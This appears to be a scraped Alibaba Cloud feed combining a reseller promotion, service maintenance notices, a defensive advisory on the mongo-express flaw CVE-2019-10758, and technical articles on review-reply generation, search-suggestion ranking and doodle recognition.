               新年采购阿里云每满2000元即可获得50元天猫购物卡。

               比如购买订单总额20000元即可获得500元价值天猫购物卡。

        本次活动对象:

               所有通过我们在官网下单的阿里云客户均可参与活动。

        活动时间:

               2020年1月6日--2020年2月15日

        活动结算时间:

                活动结束后10个工作日内结算

        活动联系人:

        陈先生   

        电话/微信/钉钉:14737363737

        其他活动

        安心过大年-安全营销全搞定;阿里云保你春节无忧。 https://www.aliyun.com/daily-act/happy-2020?scm

        企业级独享实例1折  高稳定、高可靠特性,适用各种企业应用场景。  https://promotion.aliyun.com/ntms/act/enterprise-discount.html


        https://promotion.aliyun.com/ntms/act/enterprise-discount.html?scm=20140722.1411.5.1434&aly_as=eAx4LOvl&source=5176.11533457&userCode=d4m00na3&type=copyhttps://promotion.aliyun.com/ntms/act/enterprise-discount.html?scm=20140722.1411.5.1434&aly_as=eAx4LOvl&source=5176.11533457&userCode=d4m00na3&type=copy

                                                                                                                                           广州米姆信息科技有限公司

                                                                                                                                           阿里云华南合作伙伴

                                                                                                                                           2020年1月6日


        ]]>
        【升级】1月7日至9日分析型数据库MySQL版升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【分析型数据库MySQL版】【升级通知】

        升级窗口:

        北京时间2020年1月7日 10:00 - 18:00

        北京时间2020年1月8日 10:00 - 18:00

        北京时间2020年1月9日 10:00 - 18:00

        升级内容:

        升级版本:V2.10.2

        升级地域:

         1月7日:华东1金融云、华南1金融云、阿里政务云、新加坡、香港和华北3

         1月8日:美国、华东1和华东2

         1月9日:华南1和华北2

        具体升级内容:

        修复了子账号在某些场景下update可能会报错的问题。

        升级影响:

         1.在升级期间,如果有建表或者删表操作,可能会偶发性的失败,需要重试;

         2.升级您的DB期间,导入有可能会出现短暂的暂停,升级完即刻恢复;

         3.升级您的DB期间,可能会出现短暂的写入中断或者查询闪断,需要应用端重试解决。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】MQ接入点Region化通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【MQ】【Region化切换通知】

        升级时间:2020年6月30日前

        升级内容:为了进一步提升MQ产品的稳定性,保障客户业务的稳定,MQ的接入点需要Region化,即不同的MQ Region 服务,需要使用不同的接入点。

        需要您配合,自行根据文档检查应用是否是使用Region化的接入点,如果不是Region化的接入点,则需要合理安排项目迭代,经测试后,切换到Region化的接入点。

        Region化的接入点比原接入模式的稳定性更高,我们希望您的应用在2020年6月30日前完成切换,超过期限后,原接入点稳定性会更低。

        如果应用本身没有跨Region使用MQ,发送方和订阅方变更可以不同步。如果应用有跨域使用MQ,这个需要根据业务评估切换的时机。接入点Region化文档

        升级影响:

        1. 如果业务有跨Region使用MQ,使用新的Region化接入点,则不支持这种用法 。

        2. 如果已经是Region化的接入点,使用则不受影响。

        ]]>
        【升级】1月6日DDoS高防实例到期超过7天停止业务流量转发通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDOS】【变更通知】

        升级窗口:北京时间 2020年1月6日 00:00 - 00:00

        升级内容:DDoS高防实例到期超过7天停止业务流量转发

        升级影响:2020年1月6日0点起,DDoS高防实例到期超过7天,将停止该高防实例的业务流量转发。如果您正在使用DDoS高防,请留意当前高防实例的到期状态,及时完成续费或设置成自动续费,避免因超过7天未续费,影响正常业务。

        ]]>
        【升级】1月7日和9日DDoS高防(旧版)系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDos高防(旧版)】【升级通知】

        升级窗口:北京时间 2020年1月7日 01:00 - 07:00,1月9日 01:00 - 07:00

        升级内容:DDoS高防(旧版)武汉电信机房进行系统升级操作
        升级影响:升级期间,业务无影响,极端情况下部分IP需要重新连接,会导致TCP连接闪断2-4次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【漏洞预警】mongo-express远程命令执行漏洞(CVE-2019-10758) Fri, 02 May 2025 09:39:04 +0800

        2020年1月3日,阿里云应急响应中心监测到国外研究人员披露CVE-2019-10758漏洞分析利用代码。利用该漏洞可以直接获取服务器权限。


        漏洞描述

        mongo-express是一个基于Node.js和express的开源的MongoDB Web管理界面。在小于0.54.0的版本中,在经过认证后通过访问特定接口,构造恶意请求,攻击者可以执行任意命令。由于许多mongo-express服务存在未授权访问漏洞,攻击者结合该漏洞可以直接获取服务器权限,阿里云应急响应中心提醒mongo-express用户尽快采取安全措施阻止漏洞攻击。


        影响版本

        mongo-express < 0.54.0


        安全版本

        mongo-express >= 0.54.0


        安全建议

        1. 升级至安全版本。

        2. 开启登录验证。


        相关链接

        https://github.com/masahiro331/CVE-2019-10758/



        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话95187联系反馈。

        阿里云应急响应中心

        2020.01.03

        ]]>
        阿里总监谢纯良:我们阿里是如何打造业务中台的? Fri, 02 May 2025 09:39:04 +0800 阿里总监谢纯良,在首届全国中台战略大会暨第三届互联网架构峰会上做了精彩分享,题为《阿里巴巴业务中台实践与思考》。

        分享嘉宾介绍:谢纯良,阿里云智能事业群,技术方案总监,负责中间件&业务中台,专注于阿里中间件&业务中台技术方案产品化、商业化。



        ]]>
        我写了条商品评论,没想到卖家这样回我!| WWW 阿里优秀论文-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        1.jpg

        评论回复生成任务

        在电商平台上,用户针对所购买的商品会留下大量的评论。当用户在评论中提到了一些商品的问题时,商家常常需要通过回复来帮助解决这些问题,否则会对商品的销量带来不利的影响。然而评论的数量越来越多,如果对所有的评论都写回复,需要耗费大量的人力物力。因此开发针对评论的自动回复生成模型就显得很有必要了。

        基于序列到序列的文本生成模型[1],在很多方面都取得了成功。然而,针对评论回复生成任务,标准的 Seq2Seq+Attention 模型只能将评论文本的信息考虑进来。而每一个评论都是针对每一个具体的商品而写的,这个商品信息对于生成高质量的回复是很重要的。下图展示了一个淘宝平台上的例子。

        3.png

        在这个例子中,给定了一条负面的评论,当没有考虑商品信息时,Seq2Seq +Attention 模型倾向于产生通用性的回复,比如“感谢您的支持和反馈”或者"我们会继续努力为您提供更好的服务”。从用户的角度来讲,看到这样的回复的感受是很不好的,这并没有解决他的问题。而在真实情况下,商家通常会根据商品的信息来进行回复,比如在这个例子中,商家提到的店名(奈诗图旗舰店)和材质(聚酯纤维)等等。如果不把商品信息考虑进来,模型就很难生成这样高质量的回复。

        在这篇论文中,我们基于序列到序列框架提出了融合商品信息的评论回复生成模型。商品信息通过表格的方式表示,其中包含很多"字段-值”对。下图 (a) 给出了一个例子。

        4.png

        任务定义

        下表给出了本文中使用的主要符号及其含义。

        5.png

        1.png

        我们把回复生成形式化为概率模型,即我们希望在给定X和T的情况下,最大化 Y 的概率:

        15.png


        商品信息中字段表示方法
        2.png

        模型网络架构

        28.png

        上图给出了模型网络架构的示意图。融合商品信息的回复生成模型主要包含四个部分:评论编码器(蓝色)、商品信息编码器(绿色)、回复解码器( 红色)和门限多模态单元(Gated Multimodal Unit,GMU)(黄色)。

        评论编码器

        3.png

        商品信息编码器

        4.png

        回复解码器
        5.png

        门限多源注意力机制
        6.png
        7.png

        复制机制
        8.png
        9.png

        结合强化学习方法
        在训练的过程中,我们知道正确的输出回复,通过最小化如上损失函数来训练模型。然而在测试阶段,解码器根据上一时刻预测的词来生成下一时刻的词。如果某一步产生错误,随着解码的过程,错误将会累积[4]。由于这一问题,通过最大似然损失来训练模型并不总能产生基于某个评测指标(如 ROUGE,BLEU)的最优的结果,而通常是次优的结果。

        11.png

        实验

        数据集

        我们从中国最大的电子商务网站淘宝网(taobao.com)上创建了淘宝数据集。在该数据集中共包含了 100000个(评论,商品信息,回复)三元组。所有的数据都是从服装这个类别下的商品详情页面获得。经统计,在该数据集中,评论的平均长度是 39 个词,而回复的平均长度是 72 个词。商品信息中的记录条数则平均有 15 条。更详细的统计数据可以见下表。

        112.png
        在我们的实验中,我们使用80%的数据作为训练集,使用10%的数据作为测试集,以及使用10%数据作为验证集。该数据已经进行了开源。

        评价指标

        为了评估我们的方法的有效性,我们在淘宝数据集上进行实验,并且使用如下几个评价指标来评测生成的文本质量:

        • ROUGE:ROUGE 值是一个被广泛应用在文本摘要领域的自动评价指标。ROUGE 值的计算通过 pyrouge 包[8]获得。在我们的实验中,我们给出 ROUGE- 1,ROUGE-2 和 ROUGE-L 的值。
        • METEOR:METEOR[9]具有几个其他评价指标不具备的特点,比如词干和同义词的匹配,同时,METEOR 也与人工评测比较接近。
        • BLEU:BLEU 是一个广泛应用在机器翻译中的评价指标。BLEU 用来衡量正式文本与生成文本之间的重合度。BLEU 值通过 NLTK 包[10]进行计算, 这里得到的值是 BLEU-1~4 的平均值。
        • 人工评测:我们随机从测试集中采样了 100 个样例,并且邀请了五个不同的志愿者来评测这些生成文本的质量好坏。对于每一个(评论,商品信息,回复)三元组,志愿者需要给出 {0,1,2} 的打分。其中 0 表示回复与评论不相关,或者语句不通顺,含有语法错误;1 表示回复与评论相关,但还是不够好,信息量不够;2 表示评论与回复相关,并且语句通顺自然,回答了评论中的问题。

        实验设置

        在实验中,我们采用了如下几个基线模型:

        12.png

        对于基线模型和我们的模型,我们都采用带动量的梯度下降算法(SGD with Momentum)来对模型进行训练。其中动量的大小为 0.9,初始学习率为 0.02。经过 10 轮迭代后,每 4000 步学习率会衰减一次,衰减率为 0.8。我们使用 dropout 技巧来防止过拟合,其中丢弃率为 15%。为了解决梯度爆炸问题,我们进行了梯度裁剪,使得梯度的范数不超过 5。对于词向量,我们首先用 word2vec 进行预训练来进行初始化,然后在训练过程中进行调优。字段向量和位置向量都是随机初始化的。对于所有模型,我们都使用两层的 GRU,其中隐含状态维数为 256。评论和回复共享一个词表,其中词表大小为 15000。超参数详情可以见下表。

        114.png

        13.png

        实验结果

        • 自动评测结果

          116.png


        我们首先讨论使用自动评价指标的结果。上表给出了四个基线模型和我们的模型的结果。根据上表结果,我们可以发现“Pointer-Generator”在除了 ROUGE 外的所有指标上获得了比“Seq2Seq + Atte”更好的结果,而“Copynet”在所有评价指标上都超过了“Seq2Seq + Atte”。

        这表明了复制机制和指针机制确实很有效。与其他三个基线模型相比,“Copynet + PI”在所有评价指标上都获得了提升。如相比于“Copynet”,ROUGE-L 提升了3.98,METEOR 提升了2.05,BLEU 提升了6.29。这个结果表明,商品信息对于生成高质量的回复确实很有帮助。上表的最后一行给出了我们模型的结果,在所有评价指标上都超过了 4 个基线模型。如相比于“Copynet + PI”,我们的模型在 ROUGE-L 上提升了1.37,METEOR 上提升了0.62,BLEU 上提升了1.55。

        ■ 人工评测结果

        117.png

        上表给出了人工评测的结果。在上表中,通过综合 5 个志愿者的结果,我们给出了每个得分所占的百分比。我们也计算了不同志愿者打分之间的方差,结果为 0.25。这表明不同人的打分还比较一致。

        从上表中也可以看出,结合商品信息的模型(“Copynet + PI”以及我们的模型)比其他基线模型产生了更多优质的回复(也就是得分为 2)以及更少的通用性回复(得分为 1)。在人工评测中,我们的模型仍然获得了最好的结果。在我们的模型产生的回复中,72.6%获得了 2 分,相比于“Copynet + PI”提升了2.6%。同时,只有12.0%的回复获得了 0 分。除了这些模型产生的回复,我们也把商家所写的回复进行了人工评测,可见于上表的最后一行。商家所写的回复中,有82.4%获得了 2 分,比我们的模型高了9.8%。10.8%的回复获得了 1 分,而只有6.8%的回复获得了 0 分。这表明,我们的模型仍然有巨大的提升空间。

        分析

        ■ 商品信息的影响

        118.png

        在评论回复的自动生成过程中,我们的模型中使用了商品信息来辅助生成更高质量的回复。在本节中,我们分析商品信息对于模型结果的影响。因此,我们针对使用不同数量(20%,40%,60%,80%,100%)的商品信息进行了实验。这里,20% 意味着我们只使用一个商品中商品信息的 20%。上表给出了我们的模型使用不同商品信息的结果。由此,我们可以发现,随着使用商品信息的增加,所有评价指标都变得越来越高,这表明了商品信息对于评论回复生成任务的重要性。

        ■ 模型各个组件的影响

        119.png

        为了分析模型中不同组件对于结果的影响,我们对去除掉其中一部分后的模型进行了实验。上表给出了本次实验的结果,其中第一行为完整模型的结果,其他行分别为:去掉强化学习训练的结果(上表中的 -RL),去掉 GMU 门机制的结果(上表中的 -Gate),去掉复制机制的结果(上表中的 -Copy),去掉字段表示的结果(上表中的 -Field)。
        14.png
        ■ 样例分析

        122.png

        为了比较不同模型生成的回复之间的不同。我们在上图中给出了两个例子。在上图左边的是一个正面评论的例子,在右边的是一个负面评论的例子。在评论的下方,我们给出了两个基线模型(“Copynet” 和 “Copynet+PI”)以及我们的模型生成的回复。从上图的结果中,我们可以看到,Copynet 对于正面或者是负面的评论都倾向于生成通用性的回复,比如:“您的满意是我们最大的动力”和“我们会继续努力为您提供更优质的服务”。这种通用性回复会给用户一种非常不好的用户体验,尤其是当用户给出的是负面的评论的时候。相反,结合了商品信息的模型(“Copynet+PI”以及我们的模型)生成的回复更多样性,更有针对性。对于不同的评论和商品,能给出不同的回复。比如,在它们的回复中,不仅给出了解释,还提到了品牌名(“伊芙心悦”和“cachecache”)。这种类型的回复对于用户来说更为友好。

        小结

        在本论文中,我们首先引入了电商平台的评论回复生成任务。给定一条评论,我们希望模型能自动生成回复。评论回复生成任务对于客服来说是非常有帮助的,这能大大减轻人工书写回复的压力,但是该任务之前却没有被仔细研究过。

        为了解决该问题,我们首先观测到了商品的信息对于生成高质量的回复是极为重要的。接着,我们基于序列到序列提出了一个可以融合商品信息的深度神经网络。在我们的模型中,我们使用了门限多源注意力机制和复制机制来更好的利用商品信息。除此之外,我们还使用了一种强化学习技巧来帮助模型进行学习优化。

        我们基于淘宝网构建了一个 100000 量级的数据集,并且我们开源了该数据集。通过使用多个自动评价指标和人工评测,以及与多个基线模型进行比较实验,证明了我们的模型在该任务上的优势。同时,针对我们的模型进行了大量的分析和研究,包括商品信息对于模型性能的影响分析,模型各组件的作用分析,以及样例分析。

        本篇论文收录于顶会 WWW2019

        参考文献:

        1.BAHDANAUD,CHOK,BENGIOY.Neural machine translation by jointly learning to align and translate[J]. arXiv preprint arXiv:1409.0473, 2014.

        2.LEBRETR,GRANGIERD,AULIM.Neural text generation from structured data with application to the biography domain[C]//Proceedings of the 2016 Conference on Empirical Methods in Natural Language Processing. 2016: 1203-1213.
        3.AREVALO J, SOLORIO T, MONTES-Y GÓMEZ M, et al. Gated multimodal units for information fusion[J]. arXiv preprint arXiv:1702.01992, 2017.
        4.RANZATOM,CHOPRAS,AULIM,etal.Sequence level training with recurrent neural networks[J]. arXiv preprint arXiv:1511.06732, 2015.
        5.SEE A, LIU P J, MANNING C D. Get to the point: Summarization with pointer-generator networks[C]//Proceedings of the 55th Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers): volume 1. 2017: 1073-1083.
        6.GU J, LU Z, LI H, et al. Incorporating copying mechanism in sequence-to-sequence learning[C]//Proceedings of the 54th Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers): volume 1. 2016: 1631-1640.
        7.Steven J Rennie, Etienne Marcheret, Youssef Mroueh, Jarret Ross, and VaibhavaGoel. 2017. Self-critical sequence training for image captioning. In CVPR.
        8.https://pypi.org/project/pyrouge/
        9.http://www.cs.cmu.edu/~alavie/METEOR/
        10.https://www.nltk.org

        ]]>
        想买奶茶,高德如何让我更快喝到?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者 | 雪糥,星泉

        1.jpg

        对搜索排序模块做重构

        搜索建议(suggest服务)是指:用户在输入框输入query的过程中,为用户自动补全query或POI(Point of Interest,兴趣点,地理信息系统中可以是商铺、小区、公交站等地理位置标注信息),罗列出补全后的所有候选项,并进行智能排序。

        2.jpg


        我们希望通过suggest服务:智能提示,降低用户的输入成本。它的特点是:响应快、不承担复杂query的检索,可以把它理解为一个简化版的LBS领域信息检索服务。

        和通用IR系统一样,suggest也分为doc(LBS中的doc即为POI)的召回和排序两个阶段。其中,排序阶段主要使用query和doc的文本相关性,以及doc本身的特征(weight、click),进行加权算分排序。

        但随着业务的不断发展、特征规模越来越大,人工调参逐渐困难,基于规则的排序方式已经很难得到满意的效果。这种情况下,为了解决业务问题,将不得不打上各种补丁,导致代码难以维护。

        3.jpg


        因此,我们决定对排序模块进行重构,Learning to Rank无疑是一个好的选择。

        面临的挑战:样本构造、模型调优

        Learning to Rank(LTR)是用机器学习的方法来解决检索系统中的排序问题。业界比较常用的模型是gbrank,loss方案用的最多的是pair wise,这里也保持一致。一般应用LTR解决实际问题,最重要的问题之一就是如何获得样本。

        首先,高德地图每天的访问量巨大,这背后隐藏的候选POI更是一个天文数字,想要使用人工标注的方法去获得样本明显不现实。

        其次,如果想要使用一些样本自动构造的方法,比如基于用户对POI的点击情况构建样本pair ,也会遇到如下的问题:

        • 容易出现点击过拟合,以前点击什么,以后都给什么结果。
        • 有时,用户点击行为也无法衡量真实满意度。
        • suggest前端只展示排序top10结果,更多的结果没有机会展现给用户,自然没有点击。
        • 部分用户习惯自己输入完整query进行搜索,而不使用搜索建议的补全结果,统计不到这部分用户的需求。

        对于这几个问题总结起来就是:无点击数据时,建模很迷茫。但就算有某个POI的点击,却也无法代表用户实际是满意的。

        最后,在模型学习中,也面临了特征稀疏性的挑战。统计学习的目标是全局误差的一个最小化。稀疏特征由于影响的样本较少,在全局上影响不大,常常被模型忽略。但是实际中一些中长尾case的解决却往往要依靠这些特征。因此,如何在模型学习过程中进行调优是很重要。

        系统建模过程详解

        上一节,我们描述了建模的两个难题,一个是样本如何构造,另一个是模型学习如何调优。先看下怎么解决样本构造难题,我们解决方案是:

        • 考量用户在出行场景的行为session,不光看在suggest的某次点击行为,更重要的是,考察用户在出行场景下的行为序列。比如suggest给出搜索建议后,继续搜索的是什么词,出行的地点是去哪里,等等。
        • 不是统计某个query下的点击, 而是把session看作一个整体,用户在session最后的点击行为,会泛化到session中的所有query上。

        详细方案

        第一步,融合服务端多张日志表,包括搜索建议、搜索、导航等。接着,进行session的切分和清洗。最后,通过把输入session中,末尾query的点击计算到session中所有query上,以此满足实现用户输入session最短的优化目标。

        如下图所示:

        4.jpg


        最终,抽取线上点击日志超过百万条的随机query,每条query召回前N条候选POI。利用上述样本构造方案,最终生成千万级别的有效样本作为gbrank的训练样本。

        特征方面,主要考虑了4种建模需求,每种需求都有对应的特征设计方案:

        • 有多个召回链路,包括:不同城市、拼音召回。因此,需要一种特征设计,解决不同召回链路间的可比性。
        • 随着用户的不断输入,目标POI不是静态的,而是动态变化的。需要一种特征能够表示不同query下的动态需求。
        • 低频长尾query,无点击等后验特征,需要补充先验特征。
        • LBS服务,有很强的区域个性化需求。不同区域用户的需求有很大不同。为实现区域个性化,做到千域千面,首先利用geohash算法对地理空间进行分片,每个分片都得到一串唯一的标识符。从而可以在这个标识符(分片)上分别统计特征。

          5.jpg

        详细的特征设计,如下表所示:

        6.jpg


        完成特征设计后,为了更好发挥特征的作用,进行必要的特征工程,包括尺度缩放、特征平滑、去position bias、归一化等。这里不做过多解释。

        初版模型,下掉所有规则,在测试集上MRR 有5个点左右的提升,但模型学习也存在一些问题,gbrank特征学习的非常不均匀。树节点分裂时只选择了少数特征,其他特征没有发挥作用。

        以上就是前面提到的,建模的第二个难题:模型学习的调优问题。具体来就是如何解决gbrank特征选择不均匀的问题。接下来,我们详细解释下。

        先看下,模型的特征重要度。如下图所示:

        7.jpg


        经过分析,造成特征学习不均衡的原因主要有:
        • 交叉特征query-click的缺失程度较高,60%的样本该特征值为0。该特征的树节点分裂收益较小,特征无法被选择。然而,事实上,在点击充分的情况下,query-click的点击比city-click更接近用户的真实意图。
        • 对于文本相似特征,虽然不会缺失,但是它的正逆序比较低,因此节点分裂收益也比city-click低,同样无法被选择。

        综上,由于各种原因,导致树模型学习过程中,特征选择时,不停选择同一个特征(city-click)作为树节点,使得其他特征未起到应有的作用。解决这个问题,方案有两种:

        • 方法一:对稀疏特征的样本、低频query的样本进行过采样,从而增大分裂收益。优点是实现简单,但缺点也很明显:改变了样本的真实分布,并且过采样对所有特征生效,无法灵活的实现调整目标。我们选择了方法二来解决。
        • 方法二:调loss function。按两个样本的特征差值,修改负梯度(残差),从而修改该特征的下一轮分裂收益。例如,对于query-click特征非缺失的样本,学习错误时会产生loss,调loss就是给这个loss增加惩罚项loss_diff。随着loss的增加,下一棵树的分裂收益随之增加,这时query-click特征被选作分裂节点的概率就增加了。

        具体的计算公式如下式:

        8.jpg


        以上公式是交叉熵损失函数的负梯度,loss_diff 相当于对sigmod函数的一个平移。

        9.jpg


        差值越大,loss_diff越大,惩罚力度越大,相应的下一轮迭代该特征的分裂收益也就越大。

        调loss后,重新训练模型,测试集MRR在初版模型的基础又提升了2个点。同时历史排序case的解决比例从40%提升到70%,效果明显。

        写在最后

        Learning to Rank技术在高德搜索建议应用后,使系统摆脱了策略耦合、依靠补丁的规则排序方式,取得了明显的效果收益。gbrank模型上线后,效果基本覆盖了各频次query的排序需求。

        目前,我们已经完成了人群个性化、个体个性化的建模上线,并且正在积极推进深度学习、向量索引、用户行为序列预测在高德搜索建议上的应用。

        ]]>
        1亿人次玩嗨,灵魂画手如何赚红包?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者 | 塞远

        1.jpg


        从远古时期开始,人类就已经学会了用简单的涂鸦去描绘自己看到的世界,而到了今天,涂鸦或者更准确的说是简笔画,可能是唯一的全人类通用的绘画技能。如果给你一张纸和一支笔,请你画出一双大眼睛,美术生画出来的可能是左边这样的,漫画家画出来的可能是右边这样的:

        2.jpg


        而我们的灵魂画手画出来的可能是下面这样的......虽然看起来简单,但是一笔一划中都透露着一股神韵......

        3.jpg

        1.“猜画夺宝”项目背景

        淘宝用户参与“猜画夺宝”的方式有两种。一种是日常分享的玩法,用户根据画板上的提示绘画一些特定种类的物体,然后AI会识别出相应的类别并提示用户分享识别到的内容,具体效果如下图所示。小编绘画的抽象派猪年生肖就被AI正确的识别到了。

        4.jpg

        另一种玩法是在淘宝直播的官方直播间,主持人口头播报12道猜画夺宝题目,用户可以单人也可以组队参与这12道题的作答,每道题都是AI识别用户绘画的物体,如果识别到的内容和题目要求绘画的一致,则作答正确,每答对一题都会有机会抽取现金红包,最后的终极大奖会根据全队的总得分进行抽取。

        5.jpg


        整个项目中我们见证了许多用户的“灵魂画作”,让我们一睹为快。

        6.jpg

        2.“猜画夺宝”项目面临的挑战

        可能有的读者也试玩过谷歌的“猜画小歌”这一款微信小程序,可以说“猜画小歌”是手机端AI猜画互动游戏的鼻祖,并且谷歌也开源了Quick, Draw!简笔画识别数据集。相较于“猜画小歌”,我们的AI简笔画识别面临更多的挑战:

        • 如果采用类似谷歌的服务器端算法,超过10万人同时参与相同题目的AI猜画有一定风险,因为上传图片,大模型预测,再加预测结果返回,整套流程过于冗长,手机端的互动流畅性难以保证。

          • 如果采用基于手机端的小模型识别算法,虽然速度上能够保证,但是识别准确度方面难免会打一些折扣。

        那么我们最终选择了手机端的简笔画识别方案。基于淘宝自研的AliNN深度学习Inference框架,我们的模型可以获得流畅的用户体验,而对于小模型精度方面的损失,我们也研发了一套自己的解决方案,会在下一部分进行详述。

        3.“猜画夺宝”项目采用的识别方案

        简笔画识别的目标是对任意一幅简笔画物体进行分类,而相较于普通图片中的物体分类,简笔画物体分类的难度更大,因为简笔画物体往往缺少丰富的纹理信息,也存在大量的形状类似的简笔画物体。

        在机器学习领域,学术界一直以来都在尝试对简笔画物体进行分类,比较传统的做法是先对简笔画物体进行特征提取(比如用一些传统的SIFT特征或者HOG特征),然后针对这些提取出来的特征,用SVM分类器进行多类物体的分类,当然相较于现在流行的深度神经网络的分类方案,这样的传统算法的准确度比较低。

        近些年,随着深度学习的发展,简笔画分类算法有了很大程度的进步,CNN方案和RNN方案是两种比较常用的简笔画分类算法,我下面简单介绍一下这两者的原理。

        CNN方案

        CNN方案简单地把所有的简笔画图像看成是一幅黑白图,在我们把数据集中所有简笔画的笔画粗细,物体大小归一化到同一个尺度上以后,我们就可以选择适合的CNN网络对这些黑白图进行分类训练了。下图展示了近几年在ImageNet物体分类比赛上取得成功的多个CNN网络,我们可以根据实际的场景,选择相应的CNN网络来做简笔画分类。比如当我们追求准确度的时候,我们可以选择像NASNet这样重量级的网络,而当我们追求性能和精度平衡的时候,我们可以选择像MobileNet这样的可以在移动端运行的CNN网络。

        7.jpg


        ImageNet上比较成功的CNN网络对比图,准确度vs计算量[1]

        RNN方案

        这里我们介绍的RNN方案[2] 来自于Tensorflow官网,是一份很好的简笔画识别+Tensorflow应用的教程。那么在这个方案中,简笔画图像不再是简单的黑白笔画信息了,它引入了时序信息,而我们知道RNN是非常适合解决拥有时序信息的问题的。在这个方案中,所有的简笔画物体的笔画由三个信息决定,即笔画经过的点的位置(x,y)坐标和经过这个点的时刻t(从当前笔画开始计算)。如下图中所示,一幅“猫”的简笔画被量化成了一个位置加时间的序列,当然在这幅图中时间信息被进一步简化,如果是笔画开始的点就为1,如果不是笔画开始的点时间信息就为0。

        在RNN的预测过程中,这样一幅简笔画序列将经过一系列一维卷积,再经过LSTM层,并将所有 LSTM 步的输出之和馈送到 softmax 层,以便根据我们已知的简笔画类别来决定简笔画的分类。

        8.jpg


        RNN方案举例[2]


        我们的方案

        9.jpg


        CNN网络简笔画识别流程示例


        10.jpg


        RNN网络简笔画识别流程示例


        综合CNN和RNN的方案,我们在实验中发现,RNN网络要比CNN网络整体的准确度更高,这也显而易见,因为RNN网络的输入信息更丰富,把时序信息也引入了其中,而CNN网络相较于RNN网络平均的预测速度更快,也更容易在手机端进行部署,那么如何能够取长补短,形成我们自己的简笔画识别方案呢?

        我们参考了kaggle简笔画识别比赛[3]的前几名方案,把RNN利用的时序信息和CNN的黑白输入图像结合到了一起,不再使用黑白简笔画图像作为输入,而是使用RGB图像进行输入。如下图所示,我们用不同的颜色给不同顺序的笔画进行着色,比如每幅简笔画的第一笔我们用红色进行着色,更进一步,如果我们拥有的时间更精确(比如时间信息是从当前笔画开始的毫秒时间),我们甚至可以把第一笔红色笔画变成从浅红到深红的渐变笔画。用这样的方法,我们就把抽象的时序信息融入到了CNN的输入图像中去,用新的RGB图像作为网络输入。

        11.jpg


        时序信息融入RGB图像示例[3]


        这样,我们新的方案的示意图如下图所示,CNN网络输入是拥有笔画时序信息的RGB简笔画图像,先经过一系列2D卷积层和Max pooling层,再用一系列全连接层把图像抽象成更高维的信息,最后用softmax层把最终的分类结果得到。

        12.jpg


        我们的时序CNN网络简笔画识别流程示例

        4.“猜画夺宝”项目采用的数据集

        13.jpg

        Google’sQuick, Draw!数据集 [4]


        14.jpg


        TU-Berlin数据集 [5]

        简笔画识别领域的公开数据集并不多,比较著名的有Quick, Draw!数据集[4](上图)和TU-Berlin数据集[5](上图)。之所以简笔画识别数据集比较难构建,是因为一个好的简笔画数据集必须具备以下几个特点[6]:

        • Exhaustive:数据集中的物体种类必须涵盖大部分我们在日常生活中遇到的物体种类。
        • Recognizable:每个物体种类必须从形状就能被识别,而不需要纹理信息。
        • Specific:每个物体种类必须足够明确,不存在太多的视觉上的差异,比如“乐器”就不是一个很好的物体种类,因为存在太多种不同种类的乐器了。

        而Quick, Draw!数据集和TU-Berlin数据集就是两个很好的具有上述特点的简笔画识别数据集。

        谷歌的Quick, Draw!数据集是现在公开的最大的简笔画数据集,包含345个物体种类,总共约5千万幅简笔画图像,每个类别平均约有15万幅简笔画,而且它们来自于世界各地,由世界各地的用户在20秒内完成单幅简笔画的绘画。所以Quick, Draw!数据集的更倾向于抽象的简笔画流派。

        TU-Berlin数据集包含250类物体,每类物体提供了80幅简笔画,而每幅简笔画都是由志愿者花了将近30分钟绘画完成的,所以TU-Berlin数据集更倾向于比较现实流派的简笔画数据集。

        综合我们实际的淘宝直播答题场景,我们选择了谷歌的Quick, Draw!数据集作为训练数据集,我们从每一类物体的数据中随机选择了一部分简笔画作为测试图像,其余的数据作为训练图像,训练我们的时序CNN模型。

        最终我们的时序CNN模型在保证运行速度达到实时的前提下,在测试集上获得了TOP3准确度超过90%的表现,相比于不加时序信息的CNN模型获得了接近5%的精度提升。

        5. “猜画夺宝”项目未来的发展和相关的应用

        本次的“猜画夺宝”活动,吸引了超过1亿人次参与互动,说明广大的淘宝消费者对于有趣的手机端智能玩法有很高的认同度。只要互动玩法设计的有趣,参与时的智能科技感强,就很能够获得大众的青睐。

        沿着这样的思路,未来我们一方面会尝试对“AI猜画”的算法能力进行不断的升级和优化,让AI能够准确地识别更多种类的物体;另一方面,依托我们自研的移动端智能SDK——PixelAI(见下图),在其他有趣的智能场景,我们也会推出更多的互动玩法。

        15.jpg


        PixelAISDK能力和功能示意图


        PixelAISDK涵盖了人脸、表情、姿态、手势、分割、追踪、SLAM等端上智能算法以及互动渲染能力,还包括了AliBeauty美肤、滤镜、美型美体、上妆四大功能,以及基础图像处理,视频编解码技术,是我们移动端智能互动玩法的基础SDK。目前为止我们根据PixelAI的算法能力推出过本次春节的“猜画夺宝”活动,2018年双11猫晚的“笑脸红包”,以及去年世界杯期间“这就是世界波”栏目的AR头球互动等(参考下图)。

        16.jpg


        PixelAISDK移动端智能玩法举例:“猜画夺宝”,“笑脸红包”,“AR头球”
        未来我们会以PixelAI为基础推出更多有趣的互动玩法,让用户拥有更多的智能体验。

        关于作者:塞远(陈志文),淘宝技术部算法小二,个人兴趣是计算机视觉和深度学习,目前主要从事淘宝多媒体算法的开发工作,服务端和移动端算法都有涉猎。

        参考资料:

        [1] BenchmarkAnalysis of Representative Deep Neural Network Architectures (Simone Bianco,Remi Cadene, Luigi Celona, Paolo Napoletano), In IEEE Access, volume 6, 2018.

        [2]https://www.tensorflow.org/tutorials/sequences/recurrent_quickdraw#download_the_data

        [3] https://www.kaggle.com/c/quickdraw-doodle-recognition

        [4] https://quickdraw.withgoogle.com/data

